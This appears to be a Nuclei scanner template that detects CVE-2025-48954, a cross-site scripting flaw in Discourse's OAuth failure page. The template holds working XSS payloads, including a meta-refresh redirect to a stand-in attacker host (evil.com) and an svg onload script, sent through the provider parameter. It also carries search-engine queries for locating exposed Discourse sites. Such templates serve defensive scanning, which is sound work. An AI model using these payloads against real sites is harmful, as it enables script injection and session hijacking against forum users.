CVE-2025-48954: Discourse OAuth Social Login - Cross-site Scripting

id: CVE-2025-48954

info:
  name: Discourse OAuth Social Login - Cross-site Scripting
  author: ferreiraklet,DhiyaneshDK,pdresearch
  severity: high
  description: |
    Discourse versions prior to 3.5.0.beta6 contain a stored Cross-Site Scripting (XSS) vulnerability in the OAuth/social login functionality. The vulnerability is caused by lack of proper content security policy enforcement when processing social login failures,allowing remote attackers to inject and execute malicious scripts in users' browsers.
  impact: |
    Attackers can inject malicious scripts through the provider parameter in OAuth login failures, executing JavaScript in victim browsers and potentially achieving session hijacking.
  remediation: Update the discourse to version 3.5.0.beta6 or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-26p5-mjjh-wfcf
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48954
  classification:
    cve-id: CVE-2025-48954
    cwe-id: CWE-79
    epss-score: 0.00721
    epss-percentile: 0.52231
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cpe: cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    shodan-query: http.component:"Discourse"
    fofa-query: app="Discourse"
    zoomeye-query: app:"Discourse"
    hunter-query: web.title="Discourse"
  tags: cve,cve2025,discourse,xss,oauth,vuln

variables:
  # XSS payloads for different exploitation scenarios
  redirect_payload: "%3Cmeta%20http-equiv%3D%22refresh%22%20content%3D%220%3Burl%3Dhttps%3A//evil.com%22%3E"
  basic_xss: "<svg/onload=alert('XSS-CVE-2025-48954')>"

http:
  - method: GET
    path:
      # Test 1: Open redirect via meta refresh injection
      - '{{BaseURL}}/auth/failure?provider={{redirect_payload}}'

      # Test 2: Basic XSS payload injection
      - '{{BaseURL}}/auth/failure?provider={{basic_xss}}'


    matchers:
      - type: dsl
        name: open-redirect-meta-refresh
        dsl:
          - 'contains(body, "<meta http-equiv=\"refresh\" content=\"0;url=https://evil.com\">")'
          - 'contains(to_lower(body), "discourse")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        name: basic-xss-execution
        dsl:
          - 'contains(body, "onload=alert(")'
          - 'contains(body, "XSS-CVE-2025-48954")'
          - 'contains(to_lower(body), "discourse")'
          - 'status_code == 200'
          - '!contains(to_lower(header), "content-security-policy")'
        condition: and

    extractors:
      - type: regex
        name: discourse_version
        group: 1
        regex:
          - '<meta name="generator" content="Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
          - "(?i)discourse['\"]?\\s*:\\s*['\"]?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
          - "(?i)x-discourse-version:\\s*([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
          - '"version"\\s*:\\s*"([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"'
          - '<!-- Discourse ([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
          - '/assets/discourse-([0-9]+\.[0-9]+\.[0-9]+(?:\.beta[0-9]+)?)'
          - "(?i)discourse[^\"']*?([0-9]+\\.[0-9]+\\.[0-9]+(?:\\.beta[0-9]+)?)"
# digest: 4a0a00473045022100fb469f0b0e5ad8689fb257263aa88328fa015e9b3f2b61cbc6539bccf2eab6d40220722cb3b2916d309db2c1c26098dfe6023af4463c843ecbff48e1c7a5dc39a719:922c64590222798bb761d5b6d8e72950

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